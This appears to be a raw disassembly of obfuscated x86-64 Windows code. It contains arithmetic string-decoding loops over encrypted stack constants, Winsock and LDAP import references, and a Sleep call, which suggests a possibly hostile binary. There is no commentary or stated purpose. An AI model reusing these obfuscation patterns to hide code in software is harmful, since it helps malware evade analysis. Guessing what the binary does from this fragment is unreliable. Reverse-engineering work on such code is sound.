lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x1400f53fb
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400f501b
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x1400f53b7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f5212
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400f53b7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f5241
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400f4b43
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f53e5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f4fd3
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f5420
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f52b0
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f52d1
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x1400f5457
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f52f7
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x1400f541d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f4f99
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec r11
inc r11
jmp 0x1400f4b43
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
add dil, r10b
add dil, r9b
jmp 0x1400f53fb
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x40]
jmp 0x1400f5457
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400f5482
movzx r9d, r11b
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, r10b
mov byte [rsp + r11 + 0x20], r9b
inc r8
dec r11
inc r11
jmp 0x1400f4b43
movzx r9d, r11b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rsp + r11 + 0x20], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400f4b43
lea rdx, [r11 + r12]
movzx eax, dl
and al, sil
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
add dil, dl
movzx r9d, r11b
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rsp + r11 + 0x20], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x80
add r10b, cl
mov byte [rsp + r11 + 0x20], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
lea rcx, [r11 + r15]
and sil, cl
mov eax, reloc.WS2_32.dll_recv
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rsp + r11 + 0x20]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f4b43
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400f4b40
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f4b26
lea rdx, [rbp + 0x16ddfa0]
jmp 0x1400f5544
lea rdx, [rbp + 0x1541800]
jmp 0x1400f5544
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f5560
lea rcx, [rbp + 0x100]
call fcn.140047180
nop
mov r8d, 0x25e00
lea rdx, [0x1402d7590]
lea rcx, [rbp + 0x100]
call fcn.14011c330
nop
mov r8, qword [rbp + 0x118]
cmp r8, 0xf
jbe 0x1400f55b1
mov rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0x100]
call fcn.140043980
movdqa xmm0, xmmword [0x1402a9860]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], 0
mov dword [rbp - 0x10], 0x3c352c50
mov dword [rbp - 0xc], 0x2322205f
mov dword [rbp - 8], 0x465b6674
mov dword [rbp - 4], 0x2b375b70
mov dword [rbp], 0x3a245631
mov dword [rbp + 4], 0xdfcb6b36
mov dword [rbp + 8], 0xa99185c9
mov byte [rbp + 0xc], 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd], xmm0
mov word [rbp + 0x1d], ax
mov byte [rbp + 0x1f], al
movabs r14, 0x9c6e6b9f9becac6a
movabs r15, 0x7fe1c89c7b520fba
movabs r13, 0x4704f15d4378b6e6
movabs r12, 0xd54b42ded3c6053e
movzx edi, byte [rbp + 0x1f0]
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x30
jae 0x1400f61a1
movzx r10d, byte [rbp + r11 - 0x10]
mov esi, r10d
cmp rbx, r11
ja 0x1400f6198
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f5695
lea rcx, [r11 + r14]
movzx eax, cl
and al, sil
mov edi, reloc.WS2_32.dll_listen
sub dil, al
add dil, dil
add dil, r10b
add dil, cl
jmp 0x1400f56c2
je 0x1400f6124
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f60a1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f6072
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f6027
movzx r9d, r11b
cmp r8, r11
ja 0x1400f618f
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x1400f56f4
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f5730
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f600e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f5feb
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f5fcc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f5fa0
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400f5cb1
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400f5c95
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400f5c6c
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400f5c49
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400f5c2d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f5c0d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400f5bed
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400f5bce
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f5bae
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400f5b82
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400f5740
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400f616f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400f6152
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400f5930
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400f5915
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400f58f6
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400f5b31
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400f5ae7
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400f5aa6
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400f5a81
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400f5740
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400f5a52
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400f5a32
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400f5a17
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400f59f7
lea rcx, [r8 + 0x41]
cmp rbx, rcx
ja 0x1400f59d4
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400f59b5
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400f5992
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400f596c
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400f594d
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400f5740
mov rbx, rcx
lea r8, [rcx + 0x3e8]
jmp 0x1400f5740
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f5730
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x1400f56c6
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4a
jmp 0x1400f5666
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f6045
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
inc r8
dec r11
inc r11
jmp 0x1400f5653
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
dec r11
inc r11
jmp 0x1400f5653
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f5f57
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400f6088
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f6088
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x1400f60bb
sub r9b, 0x3c
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5c
add dil, r9b
jmp 0x1400f60e5
sub r9b, 0x10
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
sub r9b, 0x22
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x12
mov byte [rbp + r11 - 0x10], dil
inc r11
jmp 0x1400f5653
lea edx, [r9 + 0xa]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x46
add dil, dl
cmp r8, 0x20
jb 0x1400f5a99
lea edx, [r9 + 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x48]
jmp 0x1400f6045
lea edx, [r9 + 0x36]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7a
add dil, dl
cmp rbx, 0x40
jae 0x1400f5f3a
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400f5e3a
lea edx, [r9 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f5abd
lea edx, [r9 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x1400f5f7e
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400f5d84
lea edx, [r9 + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f5afe
add r9b, 0x2c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x34
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
add r9b, 0x58
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, r9b
jmp 0x1400f60e5
lea edx, [r9 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400f60bb
sub r9b, 0x50
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f6088
sub r9b, 0x24
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 4
add rbx, r8
jmp 0x1400f6088
lea edx, [r9 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
jmp 0x1400f5f54
add r9b, 0x34
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x6c
dec r11
inc r11
jmp 0x1400f5653
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x1400f5653
lea edx, [r9 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f6042
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x1400f5cce
lea edx, [r9 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
jmp 0x1400f5b40
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f5d06
add r9b, 0x64
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f5d2f
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f60e5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f5d51
lea edx, [r9 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1400f5f51
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f5b4b
add r9b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x1400f5653
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f5da9
lea edx, [r9 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f6042
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f5dd5
sub r9b, 0x42
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x32
dec r11
inc r11
jmp 0x1400f5653
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f5dfe
add r9b, 0x3a
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f6088
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400f5b01
sub r9b, 0x4a
movzx eax, r10b
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f5e6f
sub r9b, 0x38
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x78
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f5e97
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x1400f60bb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f5ec3
add r9b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x1400f6088
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f5ee5
lea edx, [r9 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x74
jmp 0x1400f5f54
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400f5f11
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
dec r11
inc r11
jmp 0x1400f5653
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f5ac0
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f6042
lea edx, [r9 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x70
add dil, r10b
add dil, dl
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x56
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 - 0x10], r10b
add rbx, r8
jmp 0x1400f6088
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x3c
add dil, dl
jmp 0x1400f60bb
add r9b, 0x26
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xa
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
lea edx, [r9 + 0x7e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x72
add dil, dl
jmp 0x1400f60bb
add r9b, 0x2e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x42
dec r11
inc r11
jmp 0x1400f5653
lea edx, [r9 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x1400f6042
movzx r9d, r11b
lea edx, [r9 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x12
add dil, dl
sub r9b, 0x5a
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 - 0x10], cl
inc r8
dec r11
inc r11
jmp 0x1400f5653
lea rcx, [r11 + r15]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400f5653
lea rcx, [r11 + r13]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
movzx r9d, r11b
add r9b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x22
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x10], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, cl
mov byte [rbp + r11 - 0x10], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
lea rcx, [r11 + r12]
movzx eax, cl
and al, sil
mov edx, Ordinal_41
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f5653
add r9b, 0x12
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7e
jmp 0x1400f5650
add r9b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400f5640
lea rdx, [rbp + 0x143d728]
jmp 0x1400f61a5
lea rdx, [rbp + 0x1308392]
jmp 0x1400f61a5
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x180]
call fcn.140046ad0
mov rcx, rax
call fcn.1400f2770
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x80], 0x5a50734b
mov dword [rbp - 0x7c], 0x3e2c2325
mov dword [rbp - 0x78], 0x46482027
mov dword [rbp - 0x74], 0x3c24242d
mov dword [rbp - 0x70], 0x476a6835
mov dword [rbp - 0x6c], 0xd5372f3e
mov dword [rbp - 0x68], 0xbfd1d3c5
mov dword [rbp - 0x64], 0xc7c8c6c9
mov dword [rbp - 0x60], 0xc886dbcd
mov dword [rbp - 0x5c], 0xb270cada
mov dword [rbp - 0x58], 0xdca5a988
mov dword [rbp - 0x54], 0xced9d5d8
mov dword [rbp - 0x50], 0xc4a9a1cb
mov dword [rbp - 0x4c], 0xecdbcdcf
mov dword [rbp - 0x48], 0xe798b3b3
mov dword [rbp - 0x44], 0xecf2eef4
mov dword [rbp - 0x40], 0xfe90f8f8
mov dword [rbp - 0x3c], 0xf4fcfcf5
mov dword [rbp - 0x38], 0xece1bffd
mov dword [rbp - 0x34], 0xf3fb49e7
mov dword [rbp - 0x30], 0xfd85a9ee
mov dword [rbp - 0x2c], 0x92b2ece9
mov dword [rbp - 0x28], 0xc93c9099
mov dword [rbp - 0x24], 0x88948686
mov byte [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_22
xor eax, eax
mov qword [rbp - 0x1f], rax
mov dword [rbp - 0x17], eax
mov word [rbp - 0x13], ax
mov byte [rbp - 0x11], al
movabs rsi, 0x426f8e49e39d02e9
movabs r15, 0xd10ce405394b145f
movabs r14, 0xc74eaaddaad708bb
movzx edi, byte [rbp + 0x1f0]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x70
jae 0x1400f6e1a
movzx r10d, byte [rbp + r11 - 0x80]
mov edx, r10d
cmp rbx, r11
ja 0x1400f6e11
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f6303
lea rcx, [r11 + rsi]
movzx eax, cl
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5f
add dil, cl
jmp 0x1400f634a
je 0x1400f6da7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f6d26
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400f6cf3
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f6cb4
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f6c93
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f6c6f
movzx r9d, r11b
nop
cmp r8, r11
ja 0x1400f6e08
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x1400f637e
lea edi, [r9 + 0x1d]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 0x35
add dil, r10b
jmp 0x1400f63c0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f6c2f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f6c0c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f6bf1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400f6bd4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f6bb9
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400f6922
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400f6903
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400f68da
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400f68b7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f689c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f687c
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400f685c
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400f6841
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400f6824
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400f67f5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f63d0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 8]
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400f6deb
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400f6dce
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400f65bb
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
jb 0x1400f659f
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400f6583
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400f67ac
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400f6764
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400f6728
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400f6703
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400f63d0
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x1400f66d7
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x1400f66ba
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400f669b
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400f667b
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x1400f665e
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x1400f6643
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x1400f661d
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x1400f65f3
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x1400f65d7
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x1400f63d0
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x40]
jmp 0x1400f63d0
lea edi, [r9 - 0x7d]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 0x6b
add dil, r10b
jmp 0x1400f63c0
lea edi, [r9 - 0x4f]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
add dil, 0x29
add dil, r10b
jmp 0x1400f6350
lea edi, [r9 - 0x21]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x19
add dil, r10b
jmp 0x1400f62d6
lea edi, [r9 - 0x18]
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x58
add dil, r10b
